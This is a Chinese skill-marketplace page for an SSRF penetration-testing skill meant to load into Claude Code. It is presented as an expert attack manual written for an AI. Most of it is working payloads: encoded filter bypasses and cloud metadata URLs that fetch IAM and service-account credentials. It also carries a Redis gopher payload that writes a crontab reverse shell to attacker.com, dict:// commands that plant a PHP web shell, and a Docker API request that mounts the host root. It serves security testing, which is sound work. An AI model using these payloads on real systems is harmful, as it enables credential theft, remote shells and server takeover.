mcpField
S
ssrf-server-side-request-forgery

ssrf-server-side-request-forgery

github.com/yaklang安全2.6k3.9k 次安装6 周前更新
代码仓库

关于 ssrf-server-side-request-forgery

ssrf-server-side-request-forgery 是用于排查服务端 URL 请求伪造问题的安全测试技能。内容涵盖发现 SSRF 入口、验证盲 SSRF、绕过 URL 过滤器,以及检查云元数据和内部服务,并附有进阶场景参考。

主要功能

  1. 01发现 SSRF 入口
  2. 02盲 SSRF 确认方法
  3. 03URL 与 IP 过滤绕过技巧
  4. 04云元数据端点检查
  5. 05内部服务暴露测试
  6. 06进阶场景参考资料

适用场景

  1. 01测试获取 URL 的参数
  2. 02检查盲目出站请求
  3. 03评估 URL 校验防护
  4. 04审查内部服务暴露情况

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill ssrf-server-side-request-forgery

安装后在 Claude Code 中输入/ssrf-server-side-request-forgery确认已加载。

附带文件SCENARIOS.mdURL_PARSER_TRICKS.md

详细介绍

技能:服务端请求伪造(SSRF)——专家攻击手册

AI 加载指令:专家级 SSRF 技术。涵盖 URL 过滤器绕过、云元数据端点、协议利用、盲 SSRF 检测,以及利用链串联至 RCE。基础模型了解基本的 169.254.169.254——本文件涵盖它们遗漏的内容。有关真实世界的 CVE 利用链、DNS 重绑定深度解析、K8s SSRF,以及 SSRF → Redis → RCE 的完整利用,请加载配套的 SCENARIOS.md。

0. 快速开始

扩展场景

需要以下内容时,也请加载 SCENARIOS.md:

  • WebLogic SSRF(CVE-2014-4210)——uddiexplorer/SearchPublicRegistries.jsp + operator 参数 + %0D%0A CRLF 注入 Redis 命令
  • SSRF → 内部 Redis → 写入 crontab 反向 Shell 的完整载荷链
  • DNS 重绑定深度解析——TTL=0 技巧、首次解析为合法地址→第二次解析为内部地址、rbndr.us 服务
  • 通过 DNS 重绑定利用 Kubernetes SSRF(CVE-2020-8555)及其绕过方式(CVE-2020-8562)
  • 通过 PDF/截图生成器发起 SSRF——HTML 转 PDF 中的 <iframe> 和 <img>
  • Gopher 协议完整 TCP 注入——通过 Gopherus 发送 Redis、MySQL、FastCGI 载荷
  • URL 解析器混淆以绕过过滤器——#@、\@、%00@、IPv6 映射 IPv4
高级参考

需要以下内容时,也请加载 URL_PARSER_TRICKS.md:

  • URL 解析器差异表:Python urllib、requests、Java URL、PHP parse_url、Node url.parse 和 Go net/url
  • 完整的云元数据端点目录(AWS IMDSv1/v2、GCP、Azure、DigitalOcean、Alibaba Cloud、Oracle Cloud、Kubernetes、Hetzner、OpenStack)
  • Redis、MySQL、SMTP、FastCGI、Memcached 的 gopher://载荷示例(含编码规则)
  • DNS 重绑定详细攻击流程,含 TTL 操纵和 TOCTOU 分析
  • PDF/wkhtmltopdf/WeasyPrint/Chrome headless/PhantomJS SSRF 模式及数据外泄技术

如果你刚发现一个会获取 URL 的参数,可直接在此进行第一轮确认。

第一轮载荷
http://127.0.0.1/
http://localhost/
http://169.254.169.254/latest/meta-data/
http://[::1]/
http://127.1/
主机验证绕过类型
验证类型尝试
阻止 localhost 字符串127.0.0.1、127.1、[::1]
仅阻止直接 IP内部 DNS 名称、十进制/八进制/十六进制 IP 格式
按前缀允许列表用户名部分、子域名混淆、重定向链
跟随重定向将良性外部 URL 重定向至内部目标
解析一次、获取两次混合编码或 DNS 重绑定类型的目标
协议路由
目标协议 / 目标地址
云凭据元数据 HTTP 端点
内部 HTTP 管理界面http://127.0.0.1:port/
Redis / 原始 TCP 滥用gopher://
本地文件读取候选file://
字典 / Banner 测试dict://

1. 发现 SSRF 攻击面

查找任何包含 DNS 名称、IP 地址或 URL 的参数:

loc=           url=        path=         endpoint=
imageUrl=      dest=       redirect=     uri=
callback=      load=       file=         resource=
link=          src=        data=         ref=

不太明显的 SSRF 向量:

  • PDF/截图生成(要捕获的 URL)
  • Webhook 配置字段
  • 通过 URL 导入/导出(CSV 导入、RSS/Atom 订阅源)
  • OAuth 重定向 URI(有时会触发服务端获取)
  • 代理链中的 X-Forwarded-Host / X-Real-IP 请求头
  • 带外部实体的 XML DOCTYPE(file://、http://)
  • GraphQL @link 指令(联邦)
  • 解析 <link> 预加载请求头的 Content-Type: text/html 页面

2. 基本确认方法

Step 1: Supply your Burp Collaborator / interact.sh URL
        → Check server initiates outbound connection (full SSRF confirmed)

Step 2: If no callback → test time-based (open port = fast, closed = slow/reset):
        Compare response time for:
        http://192.168.1.1:22   (likely open → fast)
        http://192.168.1.1:9999 (likely closed → slow/timeout)

Step 3: Try accessing localhost services:
        http://127.0.0.1:8080
        http://127.0.0.1:22
        http://127.0.0.1:6379  (Redis)
        http://127.0.0.1:9200  (Elasticsearch)
        http://127.0.0.1:5984  (CouchDB)
        http://127.0.0.1:2375  (Docker daemon — critical!)
        http://127.0.0.1:4840  (internal admin)

3. 云元数据端点——必测

AWS EC2 IMDSv1(无需身份验证——严重)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
AWS IMDSv2(需要令牌——但要检查 SSRF 是否能 GET 令牌)
Step 1: PUT http://169.254.169.254/latest/api/token
        Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
Step 2: GET http://169.254.169.254/latest/meta-data/
        Header: X-aws-ec2-metadata-token: TOKEN

如果 SSRF 支持自定义请求头 → 可完全绕过 IMDSv2。

Google Cloud
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Headers: Metadata-Flavor: Google
Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Headers: Metadata: true
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/
Alibaba Cloud
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
Kubernetes 服务账号
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
http://kubernetes.default.svc/api/v1/namespaces/default/secrets

4. IP 地址过滤器绕过技术

当 169.254.169.254、127.0.0.1、localhost 被阻止时:

Localhost 变体
127.0.0.1
127.1
127.0.1
127.000.000.001    ← octal padding
0x7f000001         ← hex
2130706433         ← decimal (0x7f000001)
0177.0000.0000.0001  ← octal
[::]               ← IPv6 loopback
[::1]              ← IPv6 loopback
[::ffff:127.0.0.1] ← IPv4-mapped IPv6
169.254.169.254 变体
169.254.169.254
2852039166               ← decimal
0xa9fea9fe               ← hex
0251.0376.0251.0376      ← octal
[::ffff:169.254.169.254] ← IPv6
169.254.169.254.nip.io   ← DNS rebinding service
私有网络地址范围
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
fc00::/7  ← IPv6 private
通过 DNS 输入绕过过滤器

如果过滤器检查的是 DNS 解析出的 IP(而非主机名):

http://attacker.com/  ← DNS A record points to 169.254.169.254

使用 DNS 重绑定:首次查询返回有效 IP → 通过过滤器 → 第二次请求返回内部 IP。


5. URL 协议攻击

当允许 http:// 或过滤较弱时:

file:///etc/passwd
file:///proc/self/environ
file:///proc/net/arp   ← reveals internal network ARP table
file:///proc/net/tcp   ← open network connections

dict://127.0.0.1:6379/INFO   ← Redis INFO command via dict://

gopher://127.0.0.1:6379/_INFO%0d%0a   ← Redis via gopher
gopher://127.0.0.1:9200/   ← Elasticsearch

sftp://attacker.com:11111/   ← triggers SFTP connection (credential hash)
ldap://attacker.com:389/     ← triggers LDAP bind
ftp://attacker.com/          ← triggers FTP connection
Redis Gopher SSRF(有触发完整 RCE 的可能)
gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0Aping%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

6. 盲 SSRF 检测

当响应中不会反映获取的内容时:

  1. Burp Collaborator / interact.sh:检查服务器是否发出了 DNS 和 HTTP 请求
  2. Pingback/webhook 滥用:将应用自身的 webhook 配置为你的 URL
  3. 时间分析:内部开放端口与关闭端口的响应时间差异
  4. 错误分析:针对“找不到主机”“连接被拒绝”和“超时”的不同错误消息,可揭示内部网络拓扑

7. 内部服务利用

Docker API(2375 未经身份验证)
http://127.0.0.1:2375/v1.24/containers/json      ← list containers
http://127.0.0.1:2375/v1.24/images/json          ← list images
# Create privileged container → escape to host:
POST http://127.0.0.1:2375/v1.24/containers/create
{"Image":"alpine","Cmd":["cat","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}
Elasticsearch(9200 默认无身份验证)
http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/.kibana/_search
http://127.0.0.1:9200/INDEX_NAME/_search?q=*
Redis(6379——通常无身份验证)
dict://127.0.0.1:6379/CONFIG:SET:dir:/var/www/html
dict://127.0.0.1:6379/CONFIG:SET:dbfilename:shell.php
dict://127.0.0.1:6379/SET:key:<?php system($_GET[c]);?>
dict://127.0.0.1:6379/BGSAVE
内部管理面板
http://127.0.0.1:8080/admin
http://127.0.0.1:8443/admin
http://127.0.0.1:9000/actuator   ← Spring Boot actuator (exposed endpoints)
http://127.0.0.1:9000/actuator/env
http://127.0.0.1:9000/actuator/heapdump

8. SSRF + 过滤器绕过决策树

SSRF parameter found?
├── Try http://169.254.169.254/ directly → blocked?
│   ├── Try decimal/hex/octal variants
│   ├── Try IPv6 variants [::ffff:169.254.169.254]
│   ├── Try DNS rebinding (nip.io, custom NS)
│   └── Try redirect: attacker.com → 169.254.169.254 (302)
│
├── Try http://127.0.0.1/ → blocked?
│   ├── Try 127.1 / 127.0.1 / 0x7f000001 / 2130706433
│   ├── Try localhost → might not be blocked
│   └── Try IPv6 [::1]
│
├── What protocols are allowed?
│   ├── dict:// → test Redis, Memcached
│   ├── gopher:// → full TCP data injection (target Redis/SMTP)
│   ├── file:// → local file read
│   └── sftp:// ldap:// ftp:// → network interactions
│
└── Blind SSRF → use Burp Collaborator
    └── DNS-only → use DNS rebinding or SSRF with OOB DNS

9. SSRF 过滤器的思路

根据 zseano 的方法论:如果开发者只直接过滤 169.254.169.254,却不过滤 http://169.254.169.254/latest/meta-data(完整路径),或忽略了:

  • IPv6 等效地址
  • 解析到内部 IP 的 DNS 名称
  • 重定向链(服务器会跟随 302 跳转到内部 IP)

经典漏洞:应用过滤 127.0.0.1,但不过滤 127.1、[::1] 或 localhost。

通过 XML 实现的应用层 SSRF(应用解析 XML 时):

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<request>&xxe;</request>

评论

支持 Markdown